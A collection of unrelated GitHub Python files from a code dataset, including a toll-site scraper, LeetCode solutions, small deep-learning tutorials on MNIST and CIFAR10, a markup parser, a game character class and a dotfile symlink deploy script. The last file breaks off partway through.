for box in boxes:\n try:\n titles = box.find('ul').text\n yield titles\n except Exception as err:\n print(err)\n pass\n\n def gen_links_for_concession(self, url: str) -> str:\n \"\"\"\n :param url: pagina inicial do site antt\n :return:lista contendo determinado links\n \"\"\"\n page = get(url)\n bs_page = bs(page.text, 'html.parser')\n boxe = bs_page.find_all('div', {'class': 'row no-margin'})\n tag = [link.find_all('a') for link in boxe][0]\n yield [a.get('href') for a in tag]\n\n def get_tam_and_links(self, url: str) -> tuple:\n \"\"\"\n :param url: pagina inicial do site antt\n :return: tamanho atual/paginação e tambem uma lista contendo esses elementos;\n \"\"\"\n page = get(url)\n bs_page = bs(page.text, 'html.parser')\n boxe = bs_page.find_all('div', {'class': 'row no-margin'})\n tag = [link.find_all('a') for link in boxe][0]\n tam = len([a.get('href') for a in tag])\n links = [a.get('href') for a in tag]\n return tam, links\n\ntam, links = Tolls().get_tam_and_links(ATRIBUTOS.get('url_toll'))\n\nfor link in links:\n print(site('{}{}'.format(ATRIBUTOS.get('base_url'), Tolls().format_strs(link))))\n\n\n\n#for box in gen_antt_concession(ATRIBUTOS.get('url_toll')):\n # print(box)\n","repo_name":"RodrigoMachado9/api_toll_antt","sub_path":"app/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"27991839475","text":"\"\"\"\nApproach: Dynamic Programming\n\n\n1146 / 1146 test cases passed.\nStatus: Accepted\n\nRuntime: 188 ms\nMemory Usage: 17.8 MB\n\nProblem link: https://leetcode.com/problems/edit-distance/\n\"\"\"\n\nclass Solution:\n def minDistance(self, word1: str, word2: str) -> int:\n m, n = len(word1) + 1, len(word2) + 1\n dp = [[0 for i in range(n)] for j in range(m)]\n for i in range(m):\n for j in range(n):\n if i == 0:\n dp[i][j] = j\n elif j == 0:\n dp[i][j] = i\n elif word1[i-1] == word2[j-1]:\n dp[i][j] = dp[i-1][j-1]\n else:\n dp[i][j] = 1 + min(dp[i-1][j], dp[i][j-1], dp[i-1][j-1])\n return dp[m-1][n-1]","repo_name":"shiningflash/leetcode-solutions","sub_path":"Algorithms/Hard/72. Edit Distance/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"42094570500","text":"#!/usr/bin/env python3\nimport string\nimport sys\n\n\nvalues={'USER':'Eliot',\n'PASSWORD':'6edP@55word',\n'USERINFO':'Eliot Alderson, La - scientist, 30 y.o'}\n\n\ndef export():\n file_name = sys.argv[1]\n new_file_name = \"upt_\" + file_name\n try:\n with open(file_name,\"r\") as f:\n content = f.read()\n print(\"I've read content\")\n t = string.Template(content).substitute(values)\n with open(new_file_name,\"w+\") as f:\n f.write(str(t)+'\\n')\n print(\"I've exported lines\")\n except Exception:\n print(\"Unknown error\")\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 2:\n export()\n print(\"Success!\")\n ","repo_name":"m-tiapko/taskspace","sub_path":"envsubs/envsubst-template.py","file_name":"envsubst-template.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7758183862","text":"import tensorflow as tf\n\ndata = tf.keras.datasets.fashion_mnist\n# loading data from fashion_mnist dataset\n\n(training_images, training_labels), (test_images, test_labels) = data.load_data()\n# images are in the form of 28 x 28 pixel arrays\n# and labels are corresponding values from 0-9 indicating what type of clothing the image contains\n\ntraining_images = training_images / 255.0\ntest_images = test_images / 255.0\n# (/255.0) - python notation allows you to divide each element\n# within the array by a particular value. Note the images contained in the dataset is grayscaled\n# and only contains values between 0 and 255. By dividing by 255, we ensure each pixel/element will\n# be within the range of 0 - 1. This process is called normalization. Normalization improves the performance\n# when training a model with tensorflow & is usually required or your model will not learn and have massive\n# errors.\n# using current training setup,\n# - unnormalized lead to a loss in the range of 3.53 - 0.53 and an accuracy of 0.69 - 0.82 within 5 epochs\n# - normalized data lead to a loss in the range of 0.5 - 0.29 and an accuracy of 0.8 - 0.89 within 5 epochs\n\n\n# before normalization, a row of the image can look like:\n# [ 0 0 0 0 0 0 0 0 0 0 0 0 6 0 102 204 176 134 144 123 23 0 0 0 0 12 10 0]\n# after normalization\n# [0. 0. 0. 0. 0. 0.\n# 0. 0. 0. 0. 0. 0.\n# 0. 0.75686275 0.89411765 0.85490196 0.83529412 0.77647059\n# 0.70588235 0.83137255 0.82352941 0.82745098 0.83529412 0.8745098\n# 0.8627451 0.95294118 0.79215686 0. ]\n\nmodel = tf.keras.models.Sequential([\n tf.keras.layers.Flatten(input_shape=(28, 28)),\n tf.keras.layers.Dense(128, activation=tf.nn.relu),\n tf.keras.layers.Dense(10, activation=tf.nn.softmax)\n])\n\nmodel.compile(\n optimizer='adam',\n loss='sparse_categorical_crossentropy',\n metrics=['accuracy']\n)\n# Loss function is used to measure how good/bad the model's guess is during the current epoch. It takes the training data\n# and predicts what it thinks is the correct answer and compares it to the actual answer and processes a loss ratio.\n# Here the loss function used is sparse_categorical_crossentropy. Since we're categorizing the image into 1 of 10 categories, sparse_categorical_crossentropy\n# is a good choice as it is good for measuring loss for categorical loss.\n\n# The optimizer's role is to help the computer make another guess for the next epoch.\n# metrics is an array of metrics we want logged during epochs. Here we stated, we want accuracy.\n# Here we use the 'adam' optimizer function.\nmodel.fit(training_images, training_labels, epochs=5)\n\nmodel.evaluate(test_images, test_labels)\n","repo_name":"phaseharry/ai-ml-notes","sub_path":"intro-computer-vision.py","file_name":"intro-computer-vision.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1021068273","text":"import json\nfrom os import path\nimport numpy as np\nimport open3d as o3d\n\nfrom it.testing.deglomerator import Deglomerator\n\n\nclass DeglomeratorClearance(Deglomerator):\n cv_points = None\n cv_vectors = None\n cv_vectors_norms = None\n sample_clearance_size = None\n\n def __init__(self, working_path, affordance_name, object_name):\n super().__init__(working_path, affordance_name, object_name)\n\n def read_definition(self):\n super().read_definition()\n self.sample_clearance_size = self.definition[\"trainer\"][\"cv_sampler\"][\"sample_clearance_size\"]\n\n def readAgglomeratedDescriptor(self):\n super().readAgglomeratedDescriptor()\n base_nameU = self.get_agglomerated_files_name_pattern()\n self.cv_points = np.asarray(o3d.io.read_point_cloud(base_nameU + \"_clearance_points.pcd\").points)\n self.cv_vectors = np.asarray(o3d.io.read_point_cloud(base_nameU + \"_clearance_vectors.pcd\").points)\n self.cv_vectors_norms = np.asarray(o3d.io.read_point_cloud(base_nameU + \"_clearance_vdata.pcd\").points)[:, 0]\n","repo_name":"dougbel/iTpyClearance","sub_path":"it_clearance/testing/deglomerator.py","file_name":"deglomerator.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73503778008","text":"import lexertokens\nimport lmast\nimport lmlexer\nimport tokenstream\nimport lamarksyntaxerror\n\nclass LmParser(object):\n def __init__(self, args):\n self.args = args\n\n def parse(self, token_stream):\n \"\"\"Parses a token stream of type tokenstream.TokenStream.\n Returns an AST (list) of nodes from 'lmast'.\n \"\"\"\n token_gen = iter(token_stream)\n token_stack = []\n # Keeps track of if we're inside of a binary tag. Everytime we enter\n # a binary tag, we push into it, and when we exit, we pop.\n bin_tag_stack = []\n while True:\n try:\n cur_token = token_gen.next()\n except StopIteration:\n break\n if isinstance(cur_token, lexertokens.OTHER):\n # If we're inside a binary tag, then use the Str node rather\n # than the Markdown tag, because text inside a bintag isn't\n # necessarily Markdown.\n if len(bin_tag_stack) > 0:\n token_stack.append(\n lmast.Str(\n cur_token.raw_match,\n cur_token.lineno)\n )\n else:\n token_stack.append(\n lmast.Markdown(\n cur_token.raw_match,\n cur_token.lineno)\n )\n elif isinstance(cur_token, lexertokens.ESCAPE):\n # Get the next token and if the next token is one that can be\n # escaped, escape it, and add it to the token_stack.\n try:\n next_tok = token_gen.next()\n except StopIteration:\n next_tok = None\n if (\n isinstance(next_tok, lexertokens.BIN_END) or\n isinstance(next_tok, lexertokens.BIN_START) or\n isinstance(next_tok, lexertokens.UNARY_TAG)):\n escaped_tok = next_tok.raw_match\n elif (\n isinstance(next_tok, lexertokens.OTHER) or\n isinstance(next_tok, lexertokens.ESCAPE)):\n # Next token isn't anything special. Just treat the escape\n # as a backslash.\n escaped_tok = \"\\\\\" + next_tok.raw_match\n elif next_tok is None:\n escaped_tok = \"\\\\\"\n else:\n raise Exception(\"Oops. Something broke in the parser.\")\n if len(token_stack) > 0:\n if (\n isinstance(token_stack[-1], lmast.Markdown) or\n isinstance(token_stack[-1], lmast.Str)):\n # Consolidate consecutive Markdown or Str nodes into\n # one by appending the the previous Str or Markdown\n token_stack[-1].string += escaped_tok\n elif len(bin_tag_stack) > 0:\n token_stack.append(\n lmast.Str(escaped_tok, cur_token.lineno)\n )\n else:\n token_stack.append(\n lmast.Markdown(escaped_tok, cur_token.lineno)\n )\n else:\n # Otherwise, make a new node. If the token stack is empty,\n # we can't be in a bin_tag, so it's safe to just make\n # a markdown node.\n token_stack.append(\n lmast.Markdown(\n escaped_tok,\n cur_token.lineno)\n )\n elif isinstance(cur_token, lexertokens.BIN_START):\n bin_tag_stack.append(cur_token)\n token_stack.append(cur_token)\n elif isinstance(cur_token, lexertokens.BIN_END):\n # Find where the last BIN_START was, so pop off the stack\n # and into the temp_stack, until it's found. The goal is to grab\n # Everything between the current END and last START tag, and\n # wrap it in a BinaryTag node\n temp_stack = []\n while True:\n try:\n old_tok = token_stack.pop()\n except:\n raise lamarksyntaxerror.LaMarkSyntaxError(\n \"{%end%} tag has no matching start tag.\",\n cur_token.lineno)\n temp_stack.append(old_tok)\n if isinstance(old_tok, lexertokens.BIN_START):\n break\n bin_start = temp_stack.pop()\n # Because temp_stack is a stack, the earliest elements are\n # at the end of the list. Reverse so iterating through it will\n # start with earliest elements.\n temp_stack.reverse()\n bin_body = temp_stack\n # Wrap everything in between in a BinTag AST node.\n token_stack.append(\n lmast.BinTag(\n bin_body,\n bin_start.lineno,\n bin_start.raw_match,\n )\n )\n bin_tag_stack.pop()\n elif isinstance(cur_token, lexertokens.UNARY_TAG):\n # Unary tags are easy. Just convert them in AST nodes.\n token_stack.append(\n lmast.UnaryTag(\n cur_token.lineno,\n cur_token.raw_match)\n )\n if len(bin_tag_stack) > 0:\n raise lamarksyntaxerror.LaMarkSyntaxError(\n \"Unexpected end of file. Where's the {%end%} tag?\",\n cur_token.lineno)\n # And then the stack is the AST. How cool is that?\n return lmast.Document(token_stack)\n","repo_name":"beala/lamark","sub_path":"lamark/lmparser.py","file_name":"lmparser.py","file_ext":"py","file_size_in_byte":6105,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"32353779389","text":"n = int(input())\narr = list(map(int, input().split(' ')))\narr.sort()\n\nm = int(input())\narr2 = list(map(int, input().split(' ')))\n\ndef binary(tmp):\n\ts, e = 0, n-1\n\t\n\twhile s <= e:\n\t\tmid = (s + e) // 2\n\t\tif arr[mid] == tmp:\n\t\t\treturn True\n\t\t\n\t\tif tmp < arr[mid]:\n\t\t\te = mid - 1\n\t\telif tmp > arr[mid]:\n\t\t\ts = mid + 1\n\n\nfor i in range(m):\n\tif binary(arr2[i]):\n\t\tprint(1)\n\telse:\n\t\tprint(0)","repo_name":"suleesulee/TIL","sub_path":"Algorithm/boj/s4_1920.py","file_name":"s4_1920.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72928642327","text":"# player2.py\r\n\r\nfrom characters import Character, MAX_INVENTORY_SIZE, ABILITIES\r\n\r\nclass Player2(Character):\r\n def __init__(self, name, max_hp, attack, gold, character_class):\r\n super().__init__(name, max_hp, attack)\r\n self.gold = gold\r\n self.character_class = character_class\r\n self.abilities = ABILITIES # Use the same abilities as Player\r\n self.level = 1\r\n self.experience = 0\r\n self.experience_needed = 100\r\n self.inventory = [] # Inventory to store items\r\n\r\n # Customize abilities and other attributes based on character class\r\n if self.character_class == \"Necromancer\":\r\n self.abilities = {\r\n \"Raise The Dead\": {\"damage_multiplier\": 1.8, \"hit_chance\": 0.6},\r\n \"Bone Collasal\": {\"damage_multiplier\": 2.0, \"hit_chance\": 0.5},\r\n \"Strength of The Dead\": {\"heal_amount\": 20, \"hit_chance\": 0.8}\r\n }\r\n # Additional attributes specific to the Necromancer class\r\n elif self.character_class == \"Agent\":\r\n self.abilities = {\r\n \"Longsword Slash\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Dual Sword Slash\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Arrow Shot\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Sword Slash\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Axe Swing\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Crossbow Bolt\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Fireball\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Bone Collasol\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Ice Blast\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Raise The Dead\": {\"damage_multiplier\": 50.0, \"hit_chance\": 1.0},\r\n \"Shadow Dance\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Blood Fountain\": {\"damage_multiplier\": 5.0, \"hit_chance\": 1.0},\r\n \"Viking Heal\": {\"heal_amount\": 500, \"hit_chance\": 1.0},\r\n \"Dark Heal\": {\"heal_amount\": 500, \"hit_chance\": 1.0},\r\n \"Shadow Heal\": {\"heal_amount\": 500, \"hit_chance\": 1.0},\r\n \"Druidic Prayer\": {\"heal_amount\": 500, \"hit_chance\": 1.0},\r\n \"Restore\": {\"heal_amount\": 500, \"hit_chance\": 1.0},\r\n \"Viking Heal\": {\"heal_amount\": 500, \"hit_chance\": 1.0}\r\n }\r\n # Additional attributes specific to the Agent class\r\n # Add more character class customizations as needed","repo_name":"VoidH4ckz/Enchanted-Fantasy","sub_path":"EnchantedFantasy/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5519961288","text":"def multiplylist (mylist):\n result = 1\n for x in mylist:\n result = result * x\n return result\n# lists\nlist1 = [1,2,3]\nlist2 = [4,5,6]\nprint(multiplylist(list1))\nprint(multiplylist(list2))\n\n# using numpy prod\n#import numpy\n#list3 = [3,2,1]\n#list4 = [4,5,6]\n#result1 = numpy.prod(list3)\n#result2 = numpy.prod(list4)\n#print(result1)\n#print(result2)\n\n","repo_name":"ramtiwary/week_1","sub_path":"ListMulti.py","file_name":"ListMulti.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34448891095","text":"from torch import nn\nfrom torch.nn import functional as F\nfrom torch import optim\n\n# https://github.com/kuangliu/pytorch-cifar\n\nclass Model(nn.Module):\n \"\"\"\n Neural network for Cifar10 dataset\n \"\"\"\n def __init__(self, nclasses, device):\n super(Model, self).__init__()\n self.features = self._make_layers([64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'M', 512, 512, 512, 'M', 512, 512, 512, 'M'])\n self.classifier = nn.Linear(512, nclasses)\n\n def forward(self, x):\n out = self.features(x)\n out = out.view(out.size(0), -1)\n out = self.classifier(out)\n return out\n\n def _make_layers(self, cfg):\n layers = []\n in_channels = 3\n for x in cfg:\n if x == 'M':\n layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\n else:\n layers += [nn.Conv2d(in_channels, x, kernel_size=3, padding=1),\n nn.BatchNorm2d(x),\n nn.ReLU(inplace=True)]\n in_channels = x\n layers += [nn.AvgPool2d(kernel_size=1, stride=1)]\n return nn.Sequential(*layers)\n\n # def __init__(self, nclasses, device):\n # super(Model, self).__init__()\n # self.conv1 = nn.Conv2d(3, 6, 5)\n # self.pool = nn.MaxPool2d(2, 2)\n # self.conv2 = nn.Conv2d(6, 16, 5)\n\n # self.fc1 = nn.Linear(16 * 5 * 5, 120)\n # self.fc2 = nn.Linear(120, 84)\n # self.fc3 = nn.Linear(84, nclasses)\n\n # self.device = device\n\n # def forward(self, x):\n # x = x.to(self.device)\n # x = self.pool(F.relu(self.conv1(x)))\n # x = self.pool(F.relu(self.conv2(x)))\n # x = x.view(-1, 16 * 5 * 5)\n\n # x = F.relu(self.fc1(x))\n # x = F.relu(self.fc2(x))\n\n # return self.fc3(x)\n\n\nextras = {\n \"optimizer\": lambda params: optim.SGD(params, lr=0.01, momentum=0.9),\n \"criterion\": nn.CrossEntropyLoss,\n # accuracy : manually\n}\n","repo_name":"bourbonut/reinforcedFL","sub_path":"model4FL/cifar10.py","file_name":"cifar10.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"31"} +{"seq_id":"23677590409","text":"#\n# @lc app=leetcode.cn id=1051 lang=python3\n#\n# [1051] 高度检查器\n#\n'''\n学校打算为全体学生拍一张年度纪念照。根据要求,学生需要按照 非递减 的高度顺序排成一行。\n\n排序后的高度情况用整数数组 expected 表示,其中 expected[i] 是预计排在这一行中第 i 位的学生的高度(下标从 0 开始)。\n\n给你一个整数数组 heights ,表示 当前学生站位 的高度情况。heights[i] 是这一行中第 i 位学生的高度(下标从 0 开始)。\n\n返回满足 heights[i] != expected[i] 的 下标数量 。\n\n \n\n示例:\n\n输入:heights = [1,1,4,2,1,3]\n输出:3 \n解释:\n高度:[1,1,4,2,1,3]\n预期:[1,1,1,2,3,4]\n下标 2 、4 、5 处的学生高度不匹配。\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/height-checker\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n'''\n\n# @lc code=start\nclass Solution:\n def heightChecker(self, heights: List[int]) -> int:\n heights_ref = sorted(heights)\n res = 0\n for i in range(len(heights)):\n if heights[i] != heights_ref[i]:\n res += 1\n return res\n\n# @lc code=end\n\n","repo_name":"xinzhifumeng/learn","sub_path":"leetcode/1051.高度检查器.py","file_name":"1051.高度检查器.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"39286183598","text":"def max_value(numbers):\n max = numbers[0]\n for num in numbers:\n if num > max:\n max = num\n return max\n\n\nif __name__ == \"__main__\":\n print(max_value([1, 12, 2, 42, 8, 3]))\n","repo_name":"adom2128/git-practice","sub_path":"function_d.py","file_name":"function_d.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"4442715900","text":"import sys, collections\nsys.stdin = open(\"odd_input.txt\")\n\nA = list(map(int, input().split()))\narr = {}\n# print(A)\nfor num in A:\n if num in arr:\n # if arr[num]:\n arr[num] += 1\n else:\n arr[num] = 1\n\nfor k, v in arr.items():\n if v % 2 == 1:\n print(k)\n","repo_name":"yoonwoo123/Algorithm","sub_path":"코딜리티/odd.py","file_name":"odd.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35377215477","text":"# this script is internally used in the workflow\nimport pandas as pd\nimport pickle\nimport numpy as np\n\n# uncomment this line to test the script interctively\n#pickle_out = open('snakemake.pickle', 'wb')\n#pickle.dump(snakemake, pickle_out)\n#pickle_out.close()\n#snakemake = open('snakemake.pickle', 'rb')\n#snakemake = pickle.load(snakemake)\n\n# script parameters\nn_pops = snakemake.params[0]\nsample_map_file = snakemake.output[0]\nquery_map_file = snakemake.output[1]\n\n\n#load input data\n\nonetgp = pd.read_table(\"resources/1TGP-samples-meta-data/integrated_call_samples_v3.20130502.ALL.panel\")\n# samples from 1TGP that will be used as part of the NAT panel\nonetgp_nat = np.loadtxt(\"resources/1TGP-samples-meta-data/native-american.txt\", dtype=str)\nmxb = pd.read_table(\"resources/genomes-metadata/50Genomes_info.txt\")\n\n# Tidy the data\nmxb = mxb.loc[:, ['Sample_ID']].rename({'Sample_ID': 'Sample'}, axis=1)\nmxb['Population'] = 'NAT'\nmxb['Population_code'] = 'MXB'\nmxb['Sample'] = mxb.Sample.str.replace(pat='MXB', repl='MXB_')\n\nnew_names_for1tgp = {'sample': 'Sample', 'super_pop': 'Population', 'pop': 'Population_code'}\nonetgp = (\n onetgp\n .rename(new_names_for1tgp, axis=1)\n .loc[:,new_names_for1tgp.values()]\n )\n\n\ndef native_american_panel():\n \"\"\"\n Create the samples that will be the\n native american panel:\n 50 MXB + onetgp_nat\n \"\"\"\n natives_1tgp = onetgp[onetgp.Sample.isin(onetgp_nat)].copy()\n natives_1tgp['Population'] = 'NAT'\n return pd.concat([mxb, natives_1tgp])\n\ndef european_panel():\n \"\"\"\n the european panel\n \"\"\"\n sub_pops = ['IBS', 'GBR']\n return onetgp[onetgp.Population_code.isin(sub_pops)].copy()\n\ndef african_panel():\n sub_pops = ['YRI']\n return onetgp[onetgp.Population_code.isin(sub_pops)].copy()\n\ndef asian_panel():\n sub_pops = ['CHB']\n return onetgp[onetgp.Population_code.isin(sub_pops)].copy()\n\ndef query_sample_map():\n sub_pops = ['PEL', 'PUR', 'MXL', 'CLM']\n amr = onetgp[onetgp.Population_code.isin(sub_pops)].copy()\n return pd.concat([amr, mxb])\n\n\ndef ref_sample_map(npops):\n\n if str(npops) == '3':\n ref = [\n native_american_panel(),\n european_panel(),\n african_panel()\n ]\n return pd.concat(ref)\n\n if str(npops) == '4':\n ref = [\n native_american_panel(),\n european_panel(),\n african_panel(),\n asian_panel()\n ]\n return pd.concat(ref)\n\n else:\n raise ValueError('invalid number of pouplations')\n\n\n#RUN FUNCTIONS\n(\n ref_sample_map(npops=n_pops)\n .loc[:,['Sample', 'Population']]\n .to_csv(sample_map_file, index=False, sep = '\\t')\n)\n\n\n(\n query_sample_map()\n .loc[:,['Sample', 'Population']]\n .to_csv(query_map_file, index=False, sep='\\t')\n)\n\n","repo_name":"santiago1234/mxb-genomes","sub_path":"workflow/scripts/local-ancestry/define_query_and_reference_populations.py","file_name":"define_query_and_reference_populations.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"22236829268","text":"#a heap is a data structure that is a type of priority queue i.e. it adds various \n#objects in an arbitrary order at the same time.there is also a possibility of finding\n#(and removing) the smallest element in the heap.\nfrom heapq import *\nfrom random import shuffle\ndata=list(range(10))\nshuffle(data)\nheap=[]\nfor n in data:\n heappush(heap,n)\nprint(heap)\nheappush(heap,0.5)\nprint(heap)\n#the heap property: the element at position i is always greater than \n# the one in position i // 2 \nheappop(heap) #pops out the smallest element.\nprint(heap)\nheapreplace(heap,0.5) #pops out the smallest element and replaces it with 0.5\nprint(heap)\nheapreplace(heap,10) # this function returns the smallest element.\nprint(heap)#prints outvthe modified heap.\n\n\n","repo_name":"tab1tha/Beginning","sub_path":"heap.py","file_name":"heap.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36101457715","text":"#!/usr/bin/env python3\nimport logging\nimport os\nimport subprocess\nimport sys\n\n\nIGNORE = [\n '.git',\n 'deploy.cmd',\n 'vendor',\n os.path.basename(__file__),\n]\nSKIP_LINK = [\n '.irssi/config',\n]\n\n\ndef main():\n base_dir = os.path.dirname(os.path.abspath(__file__))\n for root, dirs, files in os.walk(base_dir):\n _, _, rel_root = root.partition(base_dir)\n rel_root = rel_root.strip(os.sep)\n if any(_ in rel_root.split(os.sep) for _ in IGNORE):\n continue\n for path in files:\n if path in IGNORE:\n if path in dirs:\n dirs.remove(path)\n continue\n rel_path = os.path.join(rel_root, path)\n logging.debug(rel_path)\n make_link(rel_path)\n\n\ndef make_link(rel_path):\n base_dir = os.path.dirname(os.path.abspath(__file__))\n source_path = os.path.join(base_dir, rel_path)\n target_path = os.path.join(os.path.expanduser('~'), rel_path)\n target_dir = os.path.dirname(target_path)\n if os.path.isdir(target_path):\n logging.info(\"`{}' is a directory\".format(target_path))\n return\n elif os.path.islink(target_path):\n link_path = os.path.join(target_dir, os.readlink(target_path))\n if link_path == source_path:\n return\n logging.info(\"`{}' is a symbolic link to {}\".format(\n target_path, link_path))\n while True:\n ans = input(\"Keep? (Y/n) \").strip()\n if not ans or ans in 'yY':\n return\n if ans in 'nN':\n break\n os.unlink(target_path)\n elif os.path.isfile(target_path):\n if open(source_path, 'rb').read() != open(target_path, 'rb').read():\n vimdiff(source_path, target_path)\n if rel_path in SKIP_LINK:\n return\n logging.info(\"{} {}\".format(source_path, target_path))\n while True:\n ans = input(\"Keep? (Y/n) \").strip()\n if not ans or ans in 'yY':\n return\n if ans in 'nN':\n break\n os.unlink(target_path)\n if not os.path.exists(target_dir):\n os.makedirs(target_dir, exist_ok=True)\n os.symlink(source_path, target_path)\n\n\ndef vimdiff(a, b):\n cmd = []\n if sys.platform in ['win32']:\n candidates = [\n 'C:\\\\Program Files (x86)\\\\Vim\\\\vim73\\\\gvim.exe',\n 'Z:\\\\Program Files (x86)\\\\Vim\\\\vim74\\\\gvim.exe',\n ]\n gvim = [_ for _ in candidates if os.path.exists(_)][0]\n cmd += [gvim, '-d']\n else:\n cmd += ['vimdiff']\n subprocess.check_call(cmd + [a, b])\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO)\n main()\n","repo_name":"puzzlet/_","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"22326712927","text":"import torch\nimport torch.nn as nn\nimport torchvision\nimport torchvision.transforms as transforms\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\n# # Device configuration\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n#\n# # Hyper parameters\n# # num_epochs = 5\n# # num_classes = 10\n# # learning_rate = 0.001\n# # batch_size = 100\n\n# MNIST dataset\ntrain_dataset = torchvision.datasets.MNIST(root='../../data/',\n train=True,\n transform=transforms.ToTensor(),\n download=True)\n\ntest_dataset = torchvision.datasets.MNIST(root='../../data/',\n train=False,\n transform=transforms.ToTensor())\n\n# Data loader\ntrain_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n batch_size=100,\n shuffle=True)\n\ntest_loader = torch.utils.data.DataLoader(dataset=test_dataset,\n batch_size=100,\n shuffle=False)\n\n# Convolutional neural network (two convolutional layers)\nclass ConvNet(nn.Module):\n def __init__(self, num_classes=10):\n super(ConvNet, self).__init__()\n self.layer1 = nn.Sequential(\n nn.Conv2d(1, 16, kernel_size=5, stride=1, padding=2), # 一般Kernel_size=5,padding=2\n nn.BatchNorm2d(16), # make feature's mean_value=1,variance=1,learn or fit better from good distribution\n nn.ReLU(), # standard activation fuction for cnn\n nn.MaxPool2d(kernel_size=2, stride=2)) # demension_reduce\n self.layer2 = nn.Sequential(\n nn.Conv2d(16, 32, kernel_size=5, stride=1, padding=2),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2))\n self.layer3 = nn.Sequential(\n nn.Conv2d(32, 48, kernel_size=5, stride=1, padding=2),\n nn.BatchNorm2d(48),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2))\n\n self.fc = nn.Linear(3 * 3 * 48, 10)\n\n def forward(self, x):\n out = self.layer1(x)\n out = self.layer2(out)\n out = self.layer3(out)\n out = out.reshape(out.size(0), -1)\n out = self.fc(out)\n return out\n\nmodel = ConvNet(10).to(device)\n\n# Loss and optimizer\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(model.parameters(), lr=0.001)\n\n# Train the model\ntotal_step = len(train_loader)\nfor epoch in range(5):\n for i, (images, labels) in enumerate(train_loader):\n images = images.to(device)\n labels = labels.to(device)\n\n # Forward pass\n outputs = model(images)\n loss = criterion(outputs, labels)\n\n # Backward and optimize\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if (i + 1) % 100 == 0:\n print('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}'\n .format(epoch + 1, 5, i + 1, total_step, loss.item()))\n\n# Test the model\nmodel.eval() # eval mode (batchnorm uses moving mean/variance instead of mini-batch mean/variance)\nwith torch.no_grad():\n correct = 0\n total = 0\n for images, labels in test_loader:\n images = images.to(device)\n labels = labels.to(device)\n outputs = model(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n\n print('Test Accuracy of the model on the 10000 test images: {} %'.format(100 * correct / total))\n\n\n# Save the model checkpoint\n# torch.save(model.state_dict(), 'model.ckpt')\n# torch.save(model.state_dict(), \"my_model.pth\") # 只保存模型的参数\n#torch.save(model, \"./my_model.pth\") # 保存整个模型\n\n# from PIL import Image\n\nmodel_path = r'CNN/my_model.pth'\n\nimage_path = r'/data/img/num_8.png' # 自己写的黑底数字\n\n# 加载数据\nimg = cv2.imread(image_path, cv2.IMREAD_GRAYSCALE) # 读取图片,并指定模式为灰度\n# 数据预处理\nimg = cv2.resize(img, (28, 28)) 